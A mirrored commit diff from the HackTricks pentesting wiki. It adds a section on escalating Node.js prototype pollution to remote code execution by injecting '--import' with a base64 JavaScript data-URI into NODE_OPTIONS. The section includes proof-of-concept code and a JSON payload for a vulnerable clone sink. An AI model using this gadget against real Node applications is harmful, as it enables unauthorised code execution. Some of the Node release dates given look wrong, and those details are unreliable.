mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge pull request #1233 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_nodejs-proto-prototype-pollution_prototype-pollution-to-rce_20250803_082503
Research Update Enhanced src/pentesting-web/deserialization/...
This commit is contained in:
commit
5853a15bd9
@ -159,6 +159,51 @@ var proc = fork("a_file.js")
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
|
||||
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||
|
||||
> [!NOTE]
|
||||
> Since **Node.js 19** the CLI flag `--import` can be passed through `NODE_OPTIONS` in the same way `--require` can. In contrast to `--require`, `--import` understands **data-URIs** so the attacker does **not need write access to the file-system** at all. This makes the gadget far more reliable in locked-down or read-only environments.
|
||||
>
|
||||
> This technique was first publicly documented by PortSwigger research in May 2023 and has since been reproduced in several CTF challenges.
|
||||
|
||||
The attack is conceptually identical to the `--require /proc/self/*` tricks shown above, but instead of pointing to a file we embed the payload directly in a base64-encoded `data:` URL:
|
||||
|
||||
```javascript
|
||||
const { fork } = require("child_process")
|
||||
|
||||
// Manual pollution
|
||||
b = {}
|
||||
|
||||
// Javascript that is executed once Node parses the import URL
|
||||
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||
|
||||
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||
// any key that will force spawn (fork) – same as earlier examples
|
||||
fork("./a_file.js");
|
||||
```
|
||||
|
||||
Abusing the vulnerable merge/clone sink shown at the top of the page:
|
||||
|
||||
```javascript
|
||||
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||
clone(USERINPUT);
|
||||
|
||||
// Gadget trigger
|
||||
fork("./a_file.js");
|
||||
// → creates /tmp/pp2rce_import
|
||||
```
|
||||
|
||||
### Why `--import` helps
|
||||
1. **No disk interaction** – the payload travels entirely inside the process command line and environment.
|
||||
2. **Works with ESM-only environments** – `--import` is the canonical way to preload JavaScript in modern Node releases that default to ECMAScript Modules.
|
||||
3. **Bypasses some `--require` allow-lists** – a few hardening libraries only filter `--require`, leaving `--import` untouched.
|
||||
|
||||
> [!WARNING]
|
||||
> `--import` support in `NODE_OPTIONS` is still present in the latest **Node 22.2.0** (June 2025). The Node core team is discussing restricting data-URIs in the future, but no mitigation is available at the time of writing.
|
||||
|
||||
---
|
||||
|
||||
## DNS Interaction
|
||||
|
||||
Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction:
|
||||
@ -716,6 +761,11 @@ At least from v18.4.0 this protection has been **implemented,** and therefore th
|
||||
|
||||
In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject`** instead of **`{}`.**
|
||||
|
||||
> [!INFO]
|
||||
> **Node 20 (April 2023) & Node 22 (April 2025)** shipped further hardening: several `child_process` helpers now copy user-supplied `options` with **`CopyOptions()`** instead of using them by reference. This blocks pollution of nested objects such as `stdio`, but **does not protect against the `NODE_OPTIONS` / `--import` tricks** described above – those flags are still accepted via environment variables.
|
||||
> A full fix would have to restrict which CLI flags can be propagated from the parent process, which is being tracked in Node Issue #50559.
|
||||
|
||||
|
||||
### **Other Gadgets**
|
||||
|
||||
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||
@ -726,6 +776,8 @@ In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
|
||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user